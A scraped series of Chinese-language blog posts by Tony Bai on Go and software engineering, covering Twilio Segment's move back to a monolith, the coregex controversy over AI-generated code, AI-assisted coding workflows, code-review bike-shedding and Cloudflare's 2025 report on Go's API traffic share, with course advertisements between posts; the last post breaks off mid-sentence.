Monorepo 在痛苦的临界点，团队做出了一个在当时看来“离经叛道”的决定：放弃微服务，回归单体。\n第一步：合并队列 -\u0026gt; Centrifuge 首先，他们构建了一个名为 Centrifuge 的新组件，来取代 140 多个独立的队列。Centrifuge 作为一个统一的事件中心，负责接收所有事件，并将其智能地分发到一个单一的、统一的目标服务中。\n第二步：合并代码 -\u0026gt; Monorepo 既然只有一个服务，那么将 140 多个 repo 合并成一个 Monorepo 就成了顺理成章的选择。这个过程是痛苦的，团队需要解决 120 多个不同依赖的版本冲突，并致力于让所有目标都使用统一的、最新的依赖版本。\n第三步：构建“坚如磐石”的测试套件 独立的、频繁失败的测试，是他们当初走向微服务的诱因。为了避免重蹈覆辙，团队构建了一个极其健壮的测试套件。他们创建了一个名为 Traffic Recorder 的工具，它能录制并回放所有测试中的出站 HTTP 请求。\n这意味着，测试不再依赖于缓慢且不稳定的真实外部网络。\n“在集成了 Traffic Recorder 之后，运行全部 140 多个目标的测试，从过去的一个小时，缩短到了几毫秒。这感觉就像魔法。”\n单体的“超级巨星”时刻 回归单体和 Monorepo 之后，团队的生产力得到了戏剧性的提升：\n部署效率：过去，对共享库的一次改动，可能需要部署 140 多个服务。现在，一个工程师在几分钟内就能完成整个服务的部署。 开发速度：在微服务架构下，团队一年内对共享库进行了 32 次改进。回归单体一年后，他们完成了 46 次改进。 运维简化：现在只有一个服务需要扩展和监控。一个巨大的统一 worker 池，可以轻松地吸收来自任何目标的负载尖峰，on-call 工程师终于可以睡个好觉了。 小结：没有“最佳实践”，只有“恰当实践” 当然，单体架构并非没有缺点。文章坦诚地指出了其固有的权衡：故障隔离更难（一个 Bug 可能导致整个服务崩溃），内存缓存效率更低。\n但 Twilio Segment 的故事，为我们提供了一个关于软件架构的、极其宝贵的教训：\n世界上没有普适的“最佳实践”，只有在特定上下文中最“恰如其分”的实践。\n微服务在解决他们最初的“队头阻塞”问题时，是正确的。但随着业务的规模化和团队的演进，它又变成了错误的答案。\n这个故事提醒我们，要对任何流行的架构趋势保持一份健康的怀疑。在拥抱微服务之前，请先问问自己：我面临的，真的是一个只有微服务才能解决的、组织规模化的问题吗？还是说，一个设计良好的单体（或者叫“宏服务”），才是当前阶段更简单、更高效、也更务实的选择？\n有时候，最勇敢的架构决策，不是追随潮流，而是逆流而上。\n资料链接：https://www.twilio.com/en-us/blog/developers/best-practices/goodbye-microservices\n注：Twilio是一家云计算公司，专注于提供短信，语音以及Email的API通讯接口。\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/19/twilio-say-goodbye-microservices/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/twilio-say-goodbye-microservices-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/19/twilio-say-goodbye-microservices\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/19/twilio-say-goodbye-microservices\"\u003ehttps://tonybai.com/2025/12/19/twilio-say-goodbye-microservices\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“微服务”——这个在过去十年间统治了软件架构领域的“最佳实践”，承诺给我们带来更高的模块化、更快的迭代速度和更强的团队自治。然而，当一个团队，深陷于 140 多个服务、140 多个代码仓库、140 多个独立队列的泥潭中，开发速度骤降、缺陷率爆炸、on-call 工程师夜不能寐时，这个“最佳实践”是否已然变成了一个“最大负担”？\u003c/p\u003e","title":"再见了，微服务：从 100 多个“问题儿童”到 1 个“超级巨星”的架构回归"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/18/go-community-first-case-ai-assisted-programming\n大家好，我是Tony Bai。\n近日，一场在 Go 官方 GitHub Issue 中爆发的公开“对峙”，将一个长期悬而未决的问题，以一种极具戏剧性的方式，推到了所有 Gopher 的面前：我们应该如何对待 AI 生成的代码？\n这场“冲突”的主角，一方是开发者 @kolkov 及其号称性能远超标准库的 coregex 项目；另一方则是 Go 社区备受尊敬的 GoAWK 作者 Ben Hoyt。当 Ben Hoyt 以详尽的 benchmark 数据，公开质疑 coregex 的性能声明，并犀利地指出“大部分工作似乎是由机器人/AI 代理完成的，而且未经充分检查”时，这场关于性能的讨论，瞬间升格为一次关于 AI 辅助编程伦理与实践的“灵魂拷问”。\n巧合的是，在这之前不久，另一位前Go社区大神、HashiCorp 的创始人 Mitchell Hashimoto，发表了一篇长文，详细记录了他如何“大量使用 AI”来开发其 ghostty 终端的一个非平凡功能。\n这两起事件，如同两面镜子，从正反两方面，映照出 AI 生成代码在 Go 社区所面临的机遇、挑战与深刻陷阱。\ncoregex 的“高光”与“翻车” 故事始于一个长达七年的“老大难”问题：Go 标准库 regexp 包的性能，长期以来都显著落后于 Rust 等语言的同类实现。开发者 @kolkov 带着他的 coregex 项目横空出世，声称通过 SIMD 加速、Lazy DFA 等多种优化，实现了比标准库 3-192 倍的性能提升。\n他雄心勃勃地向 Go 官方提交了提案（#76818），希望探讨将 coregex 的优化成果，以某种形式贡献给标准库 (upstreaming) 的可能性。\n然而，剧情很快急转直下。\nGoAWK 的作者 Ben Hoyt 站了出来，他将 coregex 集成到自己的项目中进行真实世界测试，却得出了一个截然相反的结论：\n“在所有情况下，标准库都比 coregex 更快……这些都是非常普通的正则表达式，并非奇怪的边缘情况。”\nBen Hoyt 进一步指出了 coregex 项目的几个“危险信号”：\nBenchmark 误导：coregex 的性能声明，是在特定的、微观的 benchmark 中得出的，并未反映真实世界负载下的性能。 正确性存疑：项目甚至没有完整地运行标准库 regexp 的测试套件。 AI 辅助开发的“原罪”：Ben Hoyt 最终将矛头指向了 coregex 的开发流程：“大部分工作似乎是由机器人/AI 代理完成的，而且未经充分检查，这一点表现得很明显。” 这场公开的“对峙”，最终以 @kolkov 承认其 benchmark 的局限性，并关闭提案告终。但它留下了一个深刻的、令整个社区警醒的问题：一个由 AI 大量参与、但缺乏足够人类监督的项目，其可靠性是否值得信赖？\nMitchell Hashimoto 的“人机协同”之道 而在 coregex 争议发酵的前不久，Mitchell Hashimoto 在其博客上，以一种极其坦诚和透明的方式，分享了他利用 AI 开发 ghostty 新功能的完整、未经编辑的交互记录。\n他的文章，并非一篇 AI 的“赞美诗”，而是一部关于**如何驾驭 AI 这个强大但并不可靠的“副驾驶”**的“最佳实践手册”。\n核心原则一：人类负责“规划”，AI 负责“执行” Hashimoto 在使用 AI 之前，会先进行**“Pre-AI Planning”**。他会自己研究文档、制定一个粗略的技术方案，然后给 AI 的第一个指令，往往是“为我创建一个计划，不要写任何代码”。\n核心原则二：小步迭代，持续清理 他从不要求 AI 一次性构建整个功能。相反，他将任务分解成极小的部分，并在每个 AI 生成的步骤之后，立即进行手动的“清理工作” (Cleanup Sessions)。\n“清理步骤非常重要。为了有效地清理，你必须对代码有很好的理解，这迫使我不会盲目地接受 AI 写的代码。”\n核心原则三：当 AI “撞墙”时，人类必须接管 在他的交互记录中，他清晰地展示了 AI 在面对一个棘手的 Bug 时，是如何“进入了胡言乱语区 (slop zone)”，反复尝试却无法修复的。此时，他的选择是：“AI 不再是解决方案，它是一个负债。”\n核心原则四：绝不提交自己不理解的代码 这是 Hashimoto 在整篇文章中反复强调的“铁律”。\n“如果 AI 解决了问题，但我不理解它的解决方案，我会把它撤销掉。我不会提交我不理解的代码。”\n冲突的本质 —— Go 社区准备好迎接 AI 贡献者了吗？ coregex 的争议，表面上是关于性能和 AI，但其更深层次的矛盾，在于开源协作的模式。\nBen Hoyt 发难的真正导火索，并非单纯因为 coregex 使用了 AI，而是 @kolkov 在提案中探讨了**“改进标准库”**的可能性。Go 社区（乃至所有严谨的开源社区）对“上游贡献”(upstreaming) 有着极高的标准：代码必须清晰、可维护、经过充分测试，并且贡献者需要深度参与社区讨论。\ncoregex 以其“AI 辅助、快速迭代”的开发模式，与 Go 社区传统的、审慎的、人类主导的协作模式，发生了文化上的激烈碰撞。@mvdan (Go 核心团队成员) 在评论中也暗示了这一点：“这份提案读起来更像一则广告”，并且“Was this proposal written by AI?”。\n这引出了一个更尖锐的问题：\n一个由 AI 大量生成的 PR，即使它能通过所有的 CI 检查，Go 项目的维护者们是否应该、又是否有能力去审查和接纳它？\n小结：Go 社区的“AI 门槛”——是挑战，更是机遇 coregex 的故事，是一个警示录。它告诉我们，将 AI 作为“黑盒”代码生成器，并缺乏严格的人类监督和真实世界测试，其结果可能是灾难性的。\n而 Mitchell Hashimoto 的故事，则是一个启示录。它向我们展示了 AI 辅助编程的正确姿势：AI 并非程序员的替代品，而是一个强大的“灵感缪斯”和“体力劳动加速器”。\n“我相信，优秀的 AI 驾驭者，是其所在领域的专家，他们利用 AI 作为助手，而非替代品。” —— Mitchell Hashimoto\n对于我们 Gopher 而言，这场风波的最终教训并非“AI 代码不可信”，也不是“Go 语言特别适合 AI 生成”。真正的、悬而未决的问题是：\nGo 社区和项目，对于如何定义、审查和接纳 AI 生成的贡献，是否已经有了一个明确的态度和标准？\n目前看来，答案是否定的。我们还没有一套成熟的方法论，来区分一个“由专家引导的、高质量的 AI 辅助贡献”，和一个“由 AI 主导的、缺乏深思熟虑的‘代码倾倒’”。\n这既是一个巨大的挑战，也是一个重要的机遇。Go 语言以其简洁、清晰和显式的特性，为“人类审查 AI 代码”提供了得天独厚的优势。如何将这种语言优势，转化为一套行之有效的“人机协同”开源协作规范，将是 Go 社区在 AI 时代必须回答的核心问题。\n资料链接：\nhttps://github.com/golang/go/issues/26623 https://github.com/golang/go/issues/76818 还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/18/go-community-first-case-ai-assisted-programming/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-community-first-case-ai-assisted-programming-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/18/go-community-first-case-ai-assisted-programming\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/18/go-community-first-case-ai-assisted-programming\"\u003ehttps://tonybai.com/2025/12/18/go-community-first-case-ai-assisted-programming\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e近日，一场在 Go 官方 GitHub Issue 中爆发的公开“对峙”，将一个长期悬而未决的问题，以一种极具戏剧性的方式，推到了所有 Gopher 的面前：\u003cstrong\u003e我们应该如何对待 AI 生成的代码？\u003c/strong\u003e\u003c/p\u003e","title":"“这段代码是 AI 写的！”—— Go 社区的“AI 辅助编程”第一案"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/18/escaping-java-bicycle-shed-is-go-the-pure-land\n大家好，我是Tony Bai。\n“如果每次我看到‘为什么不这么写？’这种针对完美代码的 PR 评论都能得到一分钱，我现在已经退休了。”\n近日，一位在 r/golang 社区发帖的开发者发出了这样的咆哮。他受够了 Java 生态中那种无休止的、关于细枝末节的争论——也就是所谓的“自行车棚效应”(Bike Shedding)。他正在认真考虑转向 Go 语言。\n但问题是，换一门语言，真的就能彻底摆脱人性的弱点，找到那份久违的“简单”与“高效”吗？\n这篇帖子迅速引发了数百条评论的热议，并形成了一次关于团队文化、工程效率以及如何在代码审查中保持理性的深度反思。\n科普小贴士：什么是“自行车棚效应” (Bike Shedding)？\n这个概念源自帕金森定律。典故是：一个委员会在审批核电站计划时，对极其复杂的反应堆设计匆匆通过（因为太难懂，大家不敢轻易发言），却为了旁边自行车棚该漆成什么颜色而争论了一个小时（因为每个人都能懂，都想发表意见）。\n在软件开发中，它特指团队在无关紧要的琐事（如代码风格、变量命名、语法糖）上浪费大量时间，而忽略了真正重要的系统设计和逻辑问题。\n审视“自行车棚”—— 无效争论的代价 发帖人的痛苦，源于一种许多开发者都深有体会的经历：PR 被琐碎的个人偏好所劫持。\n症状：代码逻辑正确、测试通过、符合规范。但审查者依然会问：“为什么不用 Optional.of(…).orElse(…) 而是用 if-else？” 潜台词：“如果是我的话，我会这么写。我要指出这一点，以显示我有在认真看代码，而且我很聪明。” 后果： 时间浪费：为了一个不影响功能的改动，需要重新提交代码、等待 CI 跑完（在企业级 Java 项目中可能长达 20-30 分钟）、等待再次审查。 士气低落：开发者感到自己的工作不被尊重，变成了为了满足审查者个人喜好而工作的“打字员”。 正如一位评论者尖锐指出的：“这不仅是语言问题，更是‘人’的问题。” 有些开发者倾向于过度工程化，为了使用设计模式而使用设计模式，而忽略了代码的实际价值。\nGo 是解药吗？—— “强制统一”带来的自由 为什么发帖人认为 Go 是解药？因为 Go 的设计哲学确实在很大程度上抑制了“自行车棚”的滋生土壤。\n1. 极简的语法与“唯一解”\nGo 语言的设计哲学是“少即是多”。它没有 Optional，没有复杂的流式操作符，没有十种不同的方式来实现同一个功能。\n一位资深 Gopher 指出：“在 Go 中，很少有人会争论‘为什么不这么写’，因为通常只有一种地道的写法。” gofmt 更是从根本上消灭了关于格式化的争论。\n2. “Not Invented Here” vs. “Just Copy It”\nJava 生态倾向于构建通用的、高度抽象的框架。而 Go 社区更推崇“复制一点代码胜过引入一点依赖”。这种文化鼓励简单、直接的实现，而不是过早的抽象。\n评论区有人提到：“在 Go 中，如果你看到重复代码，你可能会选择容忍它；但在 Java 中，你会被要求抽象出一个通用的 Factory 模式。”\n3. 工具链的胜利\nGo 的工具链（lint, vet）非常强大且统一。如果一个问题可以通过静态分析发现，那就交给机器去阻止，而不是在 PR 中由人来指指点点。\n硬币的另一面 —— Go 社区的“新自行车棚” 然而，逃离了 Java，就能彻底摆脱“自行车棚”吗？社区的声音并非一边倒。Go 并不是没有任何争论的乌托邦。\n新的争论点：虽然不再争论 Optional，但 Go 社区也有自己的“圣战”：\n“为什么你要用这个第三方库？标准库不够好吗？” “这个 struct 应该放在 pkg 目录下吗？” “为什么你要定义这个接口？让消费者去定义！” 过度的“地道”追求：有时，对“Idiomatic Go”（地道 Go 代码）的追求也会演变成一种教条主义。一位评论者分享了自己的经历：仅仅因为不想在代码中看到哪怕一点点“Java 味”，审查者就拒绝了一个完美运行的 PR。\n由此看来，Go 虽然减少了语法的复杂性，从而减少了 语法层面 的争论空间，但它也无法消除 人类 对于微小差异的执着。\n给所有团队的“防杠指南” 无论你使用 Java 还是 Go，如何建立一个健康的 Code Review 文化才是根本。社区贡献了许多极具价值的建议：\n区分“阻塞”与“建议”：引入明确的前缀，如 nit: (吹毛求疵，不阻塞合并)、suggestion: (建议，可不采纳)、blocker: (必须修改)。这能清晰地传达审查者的意图。 自己动手，丰衣足食：如果审查者对某个非功能性的风格问题非常在意，且有权限，不妨直接提交一个小改动，而不是阻碍原作者的 PR。 规则自动化：凡是能用 Linter (如 Checkstyle, golangci-lint) 解决的问题，绝不在人工审查中讨论。让机器做坏人。 接受“足够好”：Code Review 的目标是保证代码质量、发现 Bug 和分享知识，而不是追求“完美”。完美是完成的敌人。 小结：选择语言，更是选择文化 回到标题的问题：Go 是开发者的净土或避风港吗？是，也不是。\n它确实通过强制的规范和极简的设计，消灭了许多“低级”的自行车棚，提供了一种更务实、更直接的编程体验。\n但在任何有人的地方，争论都会寻找新的出口。如果你厌倦了 Java 的复杂，Go 绝对值得尝试；但请记得，真正的避风港不在语言里，而在一个成熟、理性、相互尊重的团队文化中。\n资料链接：https://www.reddit.com/r/golang/comments/1pechqt/who_else_has_or_wants_to_move_from_java_to_go/\n吐槽时间\n“自行车棚效应”恐怕是每个程序员心中的痛。你在代码审查中遇到过最离谱、最让你抓狂的“自行车棚”争论是什么？是关于一个变量名，还是一个缩进？\n欢迎在评论区吐吐槽，让我们一起把这些“无效卷”晒在阳光下！\n如果这篇文章说出了你的心声，别忘了点个【赞】和【在看】，并转发给你的团队（也许能改变点什么）！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/18/escaping-java-bicycle-shed-is-go-the-pure-land/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/escaping-java-bicycle-shed-is-go-the-pure-land-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/18/escaping-java-bicycle-shed-is-go-the-pure-land\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/18/escaping-java-bicycle-shed-is-go-the-pure-land\"\u003ehttps://tonybai.com/2025/12/18/escaping-java-bicycle-shed-is-go-the-pure-land\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“如果每次我看到‘为什么不这么写？’这种针对完美代码的 PR 评论都能得到一分钱，我现在已经退休了。”\u003c/p\u003e\n\u003cp\u003e近日，一位在 r/golang 社区发帖的开发者\u003ca href=\"https://www.reddit.com/r/golang/comments/1pechqt/who_else_has_or_wants_to_move_from_java_to_go/\"\u003e发出了这样的咆哮\u003c/a\u003e。他受够了 Java 生态中那种无休止的、关于细枝末节的争论——也就是所谓的“自行车棚效应”(Bike Shedding)。他正在认真考虑转向 Go 语言。\u003c/p\u003e","title":"逃离 Java 的“自行车棚”：Go 语言真的是那片“净土”吗？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/17/ai-programming-90-percent-trap-generation-vs-bug-fix\n大家好，我是Tony Bai。\n在 AI 辅助编程普及的第三年，我观察到一种奇怪的现象，我称之为**“AI 时代的开发疲劳”**。\n很多开发者跟我抱怨：\n“一开始觉得 AI 简直是神，几秒钟就能生成一个模块。但用久了发现，它生成的代码总是‘乍一看很完美，一跑全是坑’。\n简单的逻辑还能应付，一旦涉及到复杂的业务重构，它写的代码往往是 90% 可用，剩下 10% 充满了隐蔽的 Bug、过时的库引用和糟糕的结构。\n结果是：AI 帮我省了 30 分钟敲代码的时间，我却花了 2 小时去 Review 和填坑。”\n这就是典型的**“90% 陷阱”**。\n很多人将其归咎于“模型还不够强”，期待下一代 GPT 或 Claude X Opus 能彻底解决问题。\n但作为一名长期研究 AI 原生工作流的架构师，我要告诉你一个残酷的真相：\n问题不在模型，而在你的工作流。\n大多数人还在用**“抽盲盒”**的方式在通过聊天框（Chat）写代码——这叫 Vibe Coding（氛围编程），而不是 Engineering（工程）。\n要跨越这最后 10% 的死亡谷，我们需要把 AI 开发从“聊天”升级为“工程”。以下是我总结的三个核心法则。\n法则一：上下文工程 —— 给 AI 发一本“员工手册” 为什么 AI 总是记不住你的代码规范？为什么它总是喜欢用 any 类型，或者引入你明令禁止的第三方库？\n因为你把 AI 当成了“搜索引擎”，而不是“新入职的员工”。\n每次开启一个新的 Chat Session，对 AI 来说都是第一天入职。如果你不给他发一本“员工手册”，它当然会按照通用的（平庸的）标准来写代码。\n破局之道：固化上下文（Context Pinning）。\n在 AI 原生开发中，项目根目录下的 规则文件（如 .cursorrules 、CLAUDE.md或constitution.md等）是项目的灵魂。\n这不是简单的 Prompt，这是你的架构宪法。\n不要每次都重复说：“仅使用 Go标准库中的net/http包，别用 第三方web开发框架”。 把它写进规则文件。并且，这是一个动态的过程：一旦 AI 在某次对话中犯了错，不要只在对话框里纠正它，要把纠正后的规则反写回规则文件中。 把规则文件看作是 Live Documentation（活文档）。它是你项目架构、代码风格和最佳实践的“唯一真理来源”。有了它，AI 就不再是那个健忘的实习生，而是懂你习惯的资深搭档。\n法则二：模式分离 —— 先做“架构师”，再做“泥瓦匠” 许多人使用 AI 的方式是：直接把一坨复杂的代码扔进去，说“帮我重构它”。\n这违背了软件工程的分治思想。LLM 的推理能力是有限的，当它同时兼顾“理解旧逻辑”、“设计新架构”和“编写具体代码”时，它的注意力（Attention）会发散，导致逻辑坍塌。\n破局之道：Plan Mode（规划模式）。\n高效的 AI 工作流必须将 Planning（规划） 和 Coding（编码） 物理分离。\n阶段一：架构师模式（The Architect） * 只与 AI 讨论思路。输入：“我要把这个 Django 模块迁移到 FastAPI，请给出详细的迁移计划和步骤。” * 产出物不是代码，而是一个 **plan.md**。 * **关键点：** 人类必须在这个阶段介入 Review。如果 Plan 是错的，代码写得再快也是垃圾。 阶段二：泥瓦匠模式（The Builder） * 确认 Plan 无误后，再让 AI 按照 plan.md 的步骤，一步步生成代码。 * 此时 AI 不需要思考“怎么设计”，它只需要思考“怎么翻译”。 不要试图 One-shot（一次性）解决复杂问题。 把大任务拆解为小任务，用文档（Markdown）作为上下文传递的介质，这才是工程化的正解。\n法则三：契约式防御 —— 用 TDD 锁死 AI 的“幻觉” “我怎么知道 AI 写的代码有没有隐藏 Bug？”\n答案是：你永远不应该信任 AI 写的代码，除非它通过了测试。\n在传统开发中，TDD（测试驱动开发）可能显得繁琐。但在 AI 时代，TDD 是性价比最高的**“电子围栏”**。\n破局之道：Spec-Driven TDD。\n先写测试（Contract）： 不要让 AI 直接写业务代码。先让它根据需求，生成单元测试（Test Cases）。这是你和 AI 签订的“契约”。 再写实现（Implementation）： 让 AI 写代码去跑通这些测试。 循环验证： 如果测试失败，把报错信息扔回给 AI，让它自我修正（Self-Correction）。 通过 TDD，我们将对 AI 输出质量的**“人工主观判断”，转化为了“计算机客观验证”**。你不需要肉眼盯着每一行代码，你只需要盯着绿色的 PASS。\n小结：从 Vibe Coding 到 AI Engineering AI 编程的门槛正在急剧降低，但交付高质量软件的门槛并没有变。\n那种“凭感觉”随便聊两句就能搞定项目的 Vibe Coding 时代即将过去。未来属于那些懂得如何用文档约束上下文、用规划拆解复杂度、用测试兜底质量的 AI 工程师。\n不要沉迷于 AI 的生成速度，要掌控系统的工程质量。\n深度实战：构建你的“AI 原生工作流”\n理念已经清晰，但落地还需要工具和技巧的支撑：\n一份生产级的 CLAUDE.md 到底该包含哪些 section？ 如何在 Claude Code 中高效实践 Plan Mode？ 如何搭建一套自动化的 SDD + TDD 流水线，让 AI 自己写测试、自己修 Bug？ 如果你不想再被“90% 陷阱”折磨，希望从“拼运气的聊天者”进化为“掌控全局的架构师”，欢迎关注我的极客时间专栏**《AI 原生开发工作流实战》**。\n这不仅仅是一门工具教程，更是一套面向 AI 时代的软件工程方法论。我将带你把这些工程法则转化为可落地的 SOP，真正实现 10x 效率跃迁。\n扫描下方二维码，让 AI 真正为你所用。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/17/ai-programming-90-percent-trap-generation-vs-bug-fix/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/ai-programming-90-percent-trap-generation-vs-bug-fix-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/17/ai-programming-90-percent-trap-generation-vs-bug-fix\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/17/ai-programming-90-percent-trap-generation-vs-bug-fix\"\u003ehttps://tonybai.com/2025/12/17/ai-programming-90-percent-trap-generation-vs-bug-fix\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 AI 辅助编程普及的第三年，我观察到一种奇怪的现象，我称之为**“AI 时代的开发疲劳”**。\u003c/p\u003e\n\u003cp\u003e很多开发者跟我抱怨：\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e“一开始觉得 AI 简直是神，几秒钟就能生成一个模块。但用久了发现，它生成的代码总是‘乍一看很完美，一跑全是坑’。\u003c/p\u003e","title":"AI 编程的“90% 陷阱”：为什么你生成代码 1 分钟，修 Bug 却要 1 小时？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/17/cloudflare-2025-report-go-language-api-traffic-ai-surge\n大家好，我是Tony Bai。\n近日，互联网基础设施巨头 Cloudflare 发布了其备受瞩目的《2025 年度互联网回顾报告》。这份基于其全球庞大网络数据的报告，如同一面镜子，映照出全球互联网在流量、技术、安全和 AI 等领域的最新脉搏。\n而对于我们 Go 开发者而言，今年的报告带来了两个极其振奋人心的消息：\nGo 语言在自动化 API 客户端领域的王者地位，不仅得以巩固，甚至还在持续扩大领先优势。 AI 相关流量和应用正在以前所未有的速度崛起，而 Go 正是这股浪潮背后不可或缺的基础设施构建者。 本文将为你深度解读这份报告中，与我们 Gopher 息息相关的核心亮点。\nGo 语言：自动化 API 领域的“超级巨星” 在现代应用架构中，自动化 API 请求（即服务与服务之间的机器通信）早已成为流量的主体。而构建这些 API 客户端的编程语言，其流行度直接反映了该语言在后端和基础设施领域的真实“统治力”。\nCloudflare 的报告再次确认了一个我们早已熟知，但看到数据后依然会心潮澎湃的事实：Go 是自动化 API 客户端最受欢迎的选择。\n关键数据解读：\n五分之一的天下：在 2025 年，全球 20% 的自动化 API 请求，都是由基于 Go 的客户端发出的。这意味着，每五个飞驰在互联网上的自动化 API 请求中，就有一个是用 Go 编写的！\n惊人的增长势头：这一数字，相较于 2024 年的 12%，实现了超过 66% 的惊人增长。Go 不仅是第一，而且正在以“断层式”的速度，进一步拉开与追赶者的差距。\n竞争格局：Python 紧随其后，份额从 9.6% 增长到 17%。而去年排名第二的 Node.js，其份额则跌至 8.3%，被 Java (11.2%) 超越。\n为什么是 Go？\n这份数据雄辩地证明了 Go 在构建网络服务和客户端方面的核心优势：\n极致的性能与并发：Go 的 goroutine 模型，使其能够以极低的资源开销，轻松处理海量的并发 API 请求。 强大的标准库：net/http 标准库本身就极其强大、易用且生产力极高。 静态二进制文件：Go 能够编译成无依赖的单一二进制文件，这对于在容器化环境中部署 API 客户端和服务，简直是“天作之合”。 AI 浪潮：新的战场，Go 的新机遇 如果说 Go 在 API 领域的领先是“意料之中”，那么报告中关于 AI 流量的爆炸式增长，则为 Go 的未来描绘出了一个更加激动人心的新战场。\nGooglebot：AI 时代的“头号流量玩家” 报告指出，连续第三年，来自 Google IP 段 66.249.64.0/20 的流量，成为 Cloudflare 网络上最大的请求来源。这背后的“巨兽”，正是 Googlebot。\n值得注意的是，Googlebot 已经演变成一个双重目的的爬虫：它不仅为传统搜索引擎建立索引，更在为 Google 的 AI 模型（如 